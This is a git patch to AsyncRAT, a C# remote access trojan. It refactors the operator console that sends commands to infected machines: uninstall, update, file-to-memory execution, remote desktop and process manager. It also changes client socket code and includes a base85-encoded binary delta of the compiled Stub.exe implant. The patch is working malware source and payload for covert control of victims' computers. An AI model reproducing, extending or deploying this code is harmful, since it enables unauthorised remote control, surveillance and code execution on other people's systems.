From 4c441f2c0713ba2aa1096b9d8e75f29c5867b35f Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sat, 30 Mar 2019 06:51:51 -0700 Subject: [PATCH] UPDATE --- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 128 ++++++------- .../AsyncRAT-Sharp/Forms/ProcessManager.cs | 2 +- .../AsyncRAT-Sharp/Forms/RemoteDesktop.cs | 2 +- .../Handle Packet/HandlePacket.cs | 4 +- AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe | Bin 97280 -> 97280 bytes AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 168 ++++++++++-------- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs | 2 +- AsyncRAT-C#/Client/Client.csproj | 3 +- .../Client/Handle Packet/HandlePacket.cs | 4 +- .../{SendFile.cs => SendToMemory.cs} | 4 +- AsyncRAT-C#/Client/Helper/Methods.cs | 30 ++++ AsyncRAT-C#/Client/Sockets/ClientSocket.cs | 72 +++----- 12 files changed, 208 insertions(+), 211 deletions(-) rename AsyncRAT-C#/Client/Handle Packet/{SendFile.cs => SendToMemory.cs} (94%) create mode 100644 AsyncRAT-C#/Client/Helper/Methods.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index ade19cd..7f4f201 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -123,7 +123,7 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Message").AsString = "This is a ping!"; foreach (Clients CL in Settings.Online.ToList()) { - await Task.Run(() => + await Task.Run(() => { CL.BeginSend(msgpack.Encode2Bytes()); }); @@ -137,7 +137,7 @@ namespace AsyncRAT_Sharp toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}"; } - private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e) + private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -145,16 +145,13 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Packet").AsString = "close"; foreach (ListViewItem C in listView1.SelectedItems) { - await Task.Run(() => - { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); - }); + Clients CL = (Clients)C.Tag; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } } } - private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e) + private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -168,11 +165,8 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Message").AsString = Msgbox; foreach (ListViewItem C in listView1.SelectedItems) { - await Task.Run(() => - { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); - }); + Clients CL = (Clients)C.Tag; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } } } @@ -194,12 +188,9 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Update").AsString = "false"; foreach (ListViewItem C in listView1.SelectedItems) { - await Task.Run(() => - { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); - CL.LV.ForeColor = Color.Red; - }); + Clients CL = (Clients)C.Tag; + CL.LV.ForeColor = Color.Red; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } } } @@ -210,7 +201,7 @@ namespace AsyncRAT_Sharp } } - private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e) + private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -220,11 +211,8 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Packet").AsString = "uninstall"; foreach (ListViewItem C in listView1.SelectedItems) { - await Task.Run(() => - { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); - }); + Clients CL = (Clients)C.Tag; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } } catch (Exception ex) @@ -250,12 +238,9 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Update").AsString = "true"; foreach (ListViewItem C in listView1.SelectedItems) { - await Task.Run(() => - { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); - CL.LV.ForeColor = Color.Red; - }); + Clients CL = (Clients)C.Tag; + CL.LV.ForeColor = Color.Red; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } } } @@ -266,7 +251,7 @@ namespace AsyncRAT_Sharp } } - private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e) + private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -292,12 +277,9 @@ namespace AsyncRAT_Sharp foreach (ListViewItem C in listView1.SelectedItems) { - await Task.Run(() => - { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); - CL.LV.ForeColor = Color.Red; - }); + Clients CL = (Clients)C.Tag; + CL.LV.ForeColor = Color.Red; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } } SF.Close(); @@ -309,7 +291,7 @@ namespace AsyncRAT_Sharp } } - private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e) + private void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) @@ -321,28 +303,25 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Option").AsString = "true"; foreach (ListViewItem C in listView1.SelectedItems) { - await Task.Run(() => - { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); + Clients CL = (Clients)C.Tag; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); - this.BeginInvoke((MethodInvoker)(() => + this.BeginInvoke((MethodInvoker)(() => + { + RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID]; + if (RD == null) { - RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID]; - if (RD == null) + RD = new RemoteDesktop { - RD = new RemoteDesktop - { - Name = "RemoteDesktop:" + CL.ID, - F = this, - Text = "RemoteDesktop:" + CL.ID, - C = CL, - Active = true - }; - RD.Show(); - } - })); - }); + Name = "RemoteDesktop:" + CL.ID, + F = this, + Text = "RemoteDesktop:" + CL.ID, + C = CL, + Active = true + }; + RD.Show(); + } + })); } } catch (Exception ex) @@ -353,7 +332,7 @@ namespace AsyncRAT_Sharp } - private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e) + private void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e) { try { @@ -364,26 +343,23 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Option").AsString = "List"; foreach (ListViewItem C in listView1.SelectedItems) { - await Task.Run(() => + Clients CL = (Clients)C.Tag; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + this.BeginInvoke((MethodInvoker)(() => { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); - this.BeginInvoke((MethodInvoker)(() => + ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID]; + if (PM == null) { - ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID]; - if (PM == null) + PM = new ProcessManager { - PM = new ProcessManager - { - Name = "processManager:" + CL.ID, - Text = "processManager:" + CL.ID, - F = this, - C = CL - }; - PM.Show(); - } - })); - }); + Name = "processManager:" + CL.ID, + Text = "processManager:" + CL.ID, + F = this, + C = CL + }; + PM.Show(); + } + })); } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs index ec5153e..747eed5 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs @@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Forms private void timer1_Tick(object sender, EventArgs e) { - if (!C.Client.Connected) this.Close(); + if (!C.ClientSocket.Connected) this.Close(); } private async void killToolStripMenuItem_Click(object sender, EventArgs e) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs index cefe314..b56fd80 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs @@ -32,7 +32,7 @@ namespace AsyncRAT_Sharp.Forms private void timer1_Tick(object sender, EventArgs e) { - if (!C.Client.Connected) this.Close(); + if (!C.ClientSocket.Connected) this.Close(); } private void RemoteDesktop_Activated(object sender, EventArgs e) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs index 4eb66cf..934f140 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs @@ -31,8 +31,8 @@ namespace AsyncRAT_Sharp.Handle_Packet { Client.LV = new ListViewItem(); Client.LV.Tag = Client; - Client.LV.Text = string.Format("{0}:{1}", Client.Client.RemoteEndPoint.ToString().Split(':')[0], Client.Client.LocalEndPoint.ToString().Split(':')[1]); - string[] ipinf = cNewGeoUse.GetIpInf(Client.Client.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); + Client.LV.Text = string.Format("{0}:{1}", Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], Client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); + string[] ipinf = cNewGeoUse.GetIpInf(Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); Client.LV.SubItems.Add(ipinf[1]); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe index b4bfee74547f3450c0ef8e41f87d9e3537c78cb3..08dd033795d03b88d0a6b484cbf3379ad2af369f 100644 GIT binary patch delta 28967 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 